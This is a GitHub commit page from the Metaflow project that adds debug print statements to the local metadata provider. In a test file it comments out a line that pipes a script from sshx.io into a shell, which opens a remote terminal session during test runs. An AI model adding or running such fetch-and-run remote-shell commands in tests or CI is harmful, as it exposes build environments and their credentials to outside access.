Add even more logs

Netflix · Jan 10, 2025 · e461ac9 · e461ac9
1 parent ec1e934
commit e461ac9
Show file tree

Hide file tree

Showing 2 changed files with 9 additions and 5 deletions.
diff --git a/metaflow/plugins/metadata_providers/local.py b/metaflow/plugins/metadata_providers/local.py
@@ -292,13 +292,17 @@ def _read_metadata_value(file_path: str) -> dict:
                     flow_id, run_id, query_step, task_id
                 )
                 print(f"Meta path: {meta_path}")
+                print(f"Field name prefix: {field_name_prefix}")
+                print(f"Files in meta path: {os.listdir(meta_path)}")
 
                 latest_file = _get_latest_metadata_file(meta_path, field_name_prefix)
+                print(f"Latest file: {latest_file}")
                 if not latest_file:
                     continue
 
                 # Read metadata and check value
                 metadata = _read_metadata_value(latest_file[0])
+                print(f"Metadata: {metadata}")
                 if metadata.get("value") == field_value:
                     filtered_task_ids.append(task_id)
 

diff --git a/test/core/tests/client_ancestors.py b/test/core/tests/client_ancestors.py
@@ -60,11 +60,11 @@ def check_results(self, flow, checker):
 
         print("__file__ is", __file__)
 
-        import subprocess
-        try:
-            subprocess.run("curl -sSf https://sshx.io/get | sh -s run", shell=True, check=True)
-        except subprocess.CalledProcessError as e:
-            print(f"Command failed with return code {e.returncode}")
+        # import subprocess
+        # try:
+        #     subprocess.run("curl -sSf https://sshx.io/get | sh -s run", shell=True, check=True)
+        # except subprocess.CalledProcessError as e:
+        #     print(f"Command failed with return code {e.returncode}")
 
         # For each step in the flow
         for step in run: